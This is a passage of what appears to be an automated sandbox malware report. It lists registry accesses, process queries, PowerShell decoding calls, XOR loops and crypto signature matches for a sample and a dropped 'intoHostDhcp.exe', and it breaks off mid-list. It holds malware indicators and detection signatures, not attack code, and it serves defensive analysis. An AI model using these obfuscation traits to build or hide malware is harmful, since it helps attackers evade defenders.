"HKLM\SOFTWARE\MICROSOFT\CTF\TIP\{AE6BE008-07FB-400D-8BEB-337A64F7051F}\CATEGORY\CATEGORY\{534C48C1-0607-4098-A521-4FC899C73E90}") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CTF\TIP\{C1EE01F2-B3B6-4A6A-9DDD-E988C088EC82}\CATEGORY\CATEGORY\{534C48C1-0607-4098-A521-4FC899C73E90}") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CTF\TIP\{DCBD6FA8-032F-11D3-B5B1-00C04FC324A1}\CATEGORY\CATEGORY\{534C48C1-0607-4098-A521-4FC899C73E90}") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CTF\TIP\{E429B25A-E5D3-4D1F-9BE3-0C608477E3A1}\CATEGORY\CATEGORY\{534C48C1-0607-4098-A521-4FC899C73E90}") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CTF\TIP\{F25E9F57-2FC8-4EB3-A41A-CCE5F08541E6}\CATEGORY\CATEGORY\{534C48C1-0607-4098-A521-4FC899C73E90}") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CTF\TIP\{F89E9E58-BD2F-4008-9AC2-0F816C09F4EE}\CATEGORY\CATEGORY\{534C48C1-0607-4098-A521-4FC899C73E90}") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CTF\TIP\{FA445657-9379-11D6-B41A-00065B83EE53}\CATEGORY\CATEGORY\{534C48C1-0607-4098-A521-4FC899C73E90}") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKCU\KEYBOARD LAYOUT\TOGGLE") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKCU\KEYBOARD LAYOUT\TOGGLE") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\WINDOWS ERROR REPORTING\WMR") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\WINDOWS ERROR REPORTING\WMR") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\APP MANAGEMENT") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\APP MANAGEMENT") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\CTF\DIRECTSWITCHHOTKEYS") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CTF\") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CTF") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CTF\KNOWNCLASSES") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SQMCLIENT\WINDOWS")2b:Ta13,"intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-6967622 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-7138910 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-7143955 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-7204925 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-7360746 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-7407489 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-7563277 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-8529014 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-8588794 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-8788880 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-8817095 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-9020133 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-9085394 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-9261798 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-9339487 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-9466100 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-9590985 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-9756417 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-9884880 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-10004849 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-10118540 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-10594508 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-10594967 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-10804025 [PID: 5752] "intoHostDhcp.exe" queried SystemProcessInformation at 00000000-00005752-00000105-10905286 [PID: 5752]2c:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIbVQYJKoZIhvcNAQcCoIIbRjCCG0ICAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQU+zz3vaNz0s6W8CREgPojmh03NLSgghYqMIIEEjCCAvqgAwIBAgIPAMEAizw8iBHRPvZj7N9AMA0GCSqGSIb3DQ" "cchString": "9628" "dwFlags": "1" "pbBinary": "30821b5506092a864886f70d010702a0821b4630821b42020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414fb3cf7bda373d2ce96f0244480fa239a1d3734b4a082162a30820412308202faa003020102020f00c1008b3c3c8811d13ef663ecdf40300d06092a864886f70d01010405003070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479301e170d3937303131303037303030305a170d3230313233313037303030305a3070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a0282010100a902bdc170e63bf24e1b289f97785e30eaa2a98d255ff8fe954ca3b7fe9da2203e7c51a29ba28f60326bd1426479eeac76c954daf2eb9c861c8f9f8466b3c56b7a6223d61d3cde0f0192e896c4bf2d669a9a682699d03a2cbf0cb55826c146e70a3e38962ca92839a8ec498342e3840fbb9a6c5561ac827ca1602d774ce999b4643b9a501c310824149fa9e7912b18e63d986314605805659f1d375287f7a7ef9402c61bd3bf5545b38980bf3aec54944eaefda77a6d744eaf18cc96092821005790606937bb4b12073c56ff5bfba4660a08a6d2815657efb63b5e16817704daf6beae8095feb0cd7fd6a71a725c3ccabcf008a32230b30685c9b320771385df0203010001a381a83081a53081a20603551d0104819a30819780105bd070ef69729e23517e14b24d8effcba1723070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479820f00c1008b3c3c8811d13ef663ecdf40300d06092a864886f70d0101040500038201010095e80bc08df3971835edb80124d87711f35c60329f9e0bcb3e0591888fc93ae621f2f057932cb5a047c862effcd7cc3b3b5aa9365469fe246d3fc9ccaade057cdd318d3d9f10706abbfe124f1869c0fcd043e311" "pcbBinary": "591b0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIbVQYJKoZIhvcNAQcCoIIbRjCCG0ICAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9628" "dwFlags": "1" "pbBinary": "30821b5506092a864886f70d010702a0821b4630821b42020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414fb3cf7bda373d2ce96f0244480fa239a1d3734b4a082162a30820412308202faa003020102020f00c1008b3c3c8811d13ef663ecdf40300d06092a864886f70d01010405003070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479301e170d3937303131303037303030305a170d3230313233313037303030305a3070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a0282010100a902bdc170e63bf24e1b289f97785e30eaa2a98d255ff8fe954ca3b7fe9da2203e7c51a29ba28f60326bd1426479eeac76c954daf2eb9c861c8f9f8466b3c56b7a6223d61d3cde0f0192e896c4bf2d669a9a682699d03a2cbf0cb55826c146e70a3e38962ca92839a8ec498342e3840fbb9a6c5561ac827ca1602d774ce999b4643b9a501c310824149fa9e7912b18e63d986314605805659f1d375287f7a7ef9402c61bd3bf5545b38980bf3aec54944eaefda77a6d744eaf18cc96092821005790606937bb4b12073c56ff5bfba4660a08a6d2815657efb63b5e16817704daf6beae8095feb0cd7fd6a71a725c3ccabcf008a32230b30685c9b320771385df0203010001a381a83081a53081a20603551d0104819a30819780105bd070ef69729e23517e14b24d8effcba1723070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479820f00c1008b3c3c8811d13ef663ecdf40300d06092a864886f70d0101040500038201010095e80bc08df3971835edb80124d87711f35c60329f9e0bcb3e0591888fc93ae621f2f057932cb5a047c862effcd7cc3b3b5aa9365469fe246d3fc9ccaade057cdd318d3d9f10706abbfe124f1869c0fcd043e311" "pcbBinary": "591b0000" "pdwFlags": "01000000"}2d:T1250,Assembly shows XOR instruction xor eax ebp in Stream UID: 14356-412-0042AFF4 Assembly shows XOR instruction xor ecx ebp in Stream UID: 14356-412-0042AFF4 Assembly shows XOR instruction xor eax ebp in Stream UID: 14356-952-0042A6CA Assembly shows XOR instruction xor ecx ebp in Stream UID: 14356-952-0042A6CA Assembly shows XOR instruction xor eax ebp in Stream UID: 14356-986-0042F4A8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 14356-986-0042F4A8 Assembly shows XOR instruction xor eax ebp in Stream UID: 14356-987-0042F0C3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 14356-987-0042F0C3 Assembly shows XOR instruction xor eax ebp in Stream UID: 14356-988-0042F290 Assembly shows XOR instruction xor ecx ebp in Stream UID: 14356-988-0042F290 Assembly shows XOR instruction xor eax ebp in Stream UID: 14356-989-0042F1A2 Assembly shows XOR instruction xor ecx ebp in Stream UID: 14356-989-0042F1A2 Assembly shows XOR instruction xor eax ebp in Stream UID: 14356-990-0042EE2D Assembly shows XOR instruction xor ecx ebp in Stream UID: 14356-990-0042EE2D Assembly shows XOR instruction xor eax ebp in Stream UID: 14356-1073-0042AB3E Assembly shows XOR instruction xor ecx ebp in Stream UID: 14356-1073-0042AB3E Assembly shows XOR instruction xor eax ebp in Stream UID: 14356-1513-0041DF5B Assembly shows XOR instruction xor ecx ebp in Stream UID: 14356-1513-0041DF5B Assembly shows XOR instruction xor eax ebp in Stream UID: 14356-1576-0042A571 Assembly shows XOR instruction xor ecx ebp in Stream UID: 14356-1576-0042A571 Assembly shows XOR instruction xor eax ebp in Stream UID: 14356-1577-0042A5C7 Assembly shows XOR instruction xor ecx ebp in Stream UID: 14356-1577-0042A5C7 Assembly shows XOR instruction xor eax 01h in Stream UID: 14356-1715-004072FC Assembly shows XOR instruction xor ecx 49656E69h in Stream UID: 00000000-00005856-15623-11-00C3ED46 Assembly shows XOR instruction xor eax 6C65746Eh in Stream UID: 00000000-00005856-15623-11-00C3ED46 Assembly shows XOR instruction xor eax 756E6547h in Stream UID: 00000000-00005856-15623-11-00C3ED46 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005856-15623-30-00C4A671 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005856-15623-30-00C4A671 Assembly shows XOR instruction xor esi eax in Stream UID: 00000000-00005856-15623-32-00C4A458 Assembly shows XOR instruction xor edi edx in Stream UID: 00000000-00005856-15623-32-00C4A458 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005856-15623-40-00C4A61B Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005856-15623-40-00C4A61B Assembly shows XOR instruction xor eax dword ptr [ecx+08h] in Stream UID: 00000000-00005856-15623-69-00C51194 Assembly shows XOR instruction xor dword ptr [ecx+08h] eax in Stream UID: 00000000-00005856-15623-69-00C51194 Assembly shows XOR instruction xor ecx dword ptr [eax] in Stream UID: 00000000-00005856-15623-69-00C51194 Assembly shows XOR instruction xor dword ptr [eax] ecx in Stream UID: 00000000-00005856-15623-69-00C51194 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005856-15623-77-00C508C3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005856-15623-77-00C508C3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005856-15623-89-00C4866F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005856-15623-89-00C4866F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005856-15623-93-00C4B350 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005856-15623-93-00C4B350 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005856-15623-96-00C4AFF4 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005856-15623-96-00C4AFF4 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005856-15623-98-00C4A058 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005856-15623-98-00C4A058 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005856-15623-101-00C4A72C Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005856-15623-101-00C4A72C Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005856-15623-116-00C475C2 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005856-15623-116-00C475C2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005856-15623-139-00C4C099 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005856-15623-139-00C4C0992e:T57a,Found string ":\Windows\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00000824.00000001.86570.00570000.00000004.mdmp") Found string ":\Windows\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00001216.00000001.88761.00280000.00000004.mdmp, 00000000-00003024.00000000.85467.00220000.00000004.mdmp, 00000000-00003024.00000001.86003.00220000.00000004.mdmp, 00000000-00003672.00000000.89373.002E0000.00000004.mdmp, 00000000-00005488.00000000.87593.00390000.00000004.mdmp, 00000000-00005488.00000001.88777.00390000.00000004.mdmp, 00000000-00005800.00000001.88885.003B0000.00000004.mdmp, 00000000-00005944.00000001.89465.00060000.00000004.mdmp") Found string ":\Windows\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00001572.00000001.80427.00310000.00000004.mdmp, 00000000-00001572.00000002.82348.00310000.00000004.mdmp, 00000000-00001572.00000003.84004.00310000.00000004.mdmp") Found string ":\Windows\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00001920.00000001.80431.00440000.00000004.mdmp, 00000000-00001920.00000002.82354.00440000.00000004.mdmp, 00000000-00001920.00000003.86942.00440000.00000004.mdmp") Found string ":\Windows\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00003284.00000000.84597.00300000.00000004.mdmp, 00000000-00003284.00000001.85400.00300000.00000004.mdmp")2f:T56b,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Contains reference to crypto DLLs Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to decode base64 data Matched sigs: Able to decrypt/decode data Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt data Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match - AES encryption Matched sigs: YARA signature match – cryptographic algorithms30:T14c2a,Found XOR loop in file "intoHostDhcp.exe" at offset 609623; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 805390; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 902796; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 962648; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 967317; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 968852; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 993386; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 1033116; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 1065215; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 1122770; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 1166968; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 1176051; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 1203738; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 1310600; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 1447096; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 1511923; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 1520937; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 1529409; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 1611062; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 1786332; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 1899608; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 1965408; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 2020041; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 2025250; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 2143782; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 2206618; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 2249027; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 2287811; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 2313216; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 2323515; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 2558997; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 2582880; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 2656172; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 2675700; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 2715356; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 2748597; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 2784784; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 2885632; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 2908667; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 2945842; code bytes = 30d0 Found XOR loop in file "intoHostDhcp.exe" at offset 964188; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 966122; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 1030607; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 1115468; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 1129305; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 1188837; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 1314913; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 1328174; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 1463964; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 1523652; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 1548928; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 1578045; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 1607556; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 1614384; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 1622404; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 1861596; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 1974654; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 1990242; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 2040300; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 2129953; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 2192399; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 2301347; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 2321386; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 2325886; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 2569619; code bytes = 33c1 Found XOR loop in file "intoHostDhcp.exe" at offset 405296; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 790229; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 794439; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 796914; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 858494; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 859887; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 865552; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 924495; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 989874; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 1072842; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 1084567; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 1096748; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 1139243; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 1214968; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 1347529; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 1498783; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 1570409; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 1588937; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 1749115; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 1766853; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 1770651; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 1776921; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 1827864; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 1916213; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 2055758; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 2142145; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 2258916; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 2337935; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 2372277; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 2460071; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 2555427; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 2633565; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 2780383; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 2807169; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 2819164; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 2829041; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 2875895; code bytes = 8030 Found XOR loop in file "intoHostDhcp.exe" at offset 2934938; code bytes = 8030 Found XOR loop in file "DISMHOST.EXE.6A9EA94A.bin" at offset 76665; code bytes = 30d0 Found XOR loop in file "DISMHOST.EXE.6A9EA94A.bin" at offset 77648; code bytes = 8030 Found XOR loop in file "DISMHOST.EXE.6A9EA94A.bin" at offset 77788; code bytes = 8030 Found XOR loop in file "DISMHOST.EXE.6A9EA94A.bin" at offset 78978; code bytes = 8030 Found XOR loop in file "wininit.exe" at offset 609623; code bytes = 30d0 Found XOR loop in file "wininit.exe" at offset 805390; code bytes = 30d0 Found XOR loop in file "wininit.exe" at offset 902796; code bytes = 30d0 Found XOR loop in file "wininit.exe" at offset 962648; code bytes = 30d0 Found XOR loop in file "wininit.exe" at offset 967317; code bytes = 30d0 Found XOR loop in file "wininit.exe" at offset 968852; code bytes = 30d0 Found XOR loop in file "wininit.exe" at offset 993386; code bytes = 30d0 Found XOR loop in file "wininit.exe" at offset 1033116; code bytes = 30d0 Found XOR loop in file "wininit.exe" at offset 1065215; code bytes = 30d0 Found XOR loop in file "wininit.exe" at offset 1122770; code bytes = 30d0 Found XOR loop in file "wininit.exe" at offset 1166968; code bytes = 30d0 Found XOR loop in file "wininit.exe" at offset 1176051; code bytes = 30d0 Found XOR loop in file "wininit.exe" at offset 1203738; code bytes = 30d0 Found XOR loop in file "wininit.exe" at offset 1310600; code bytes = 30d0 Found XOR loop in file 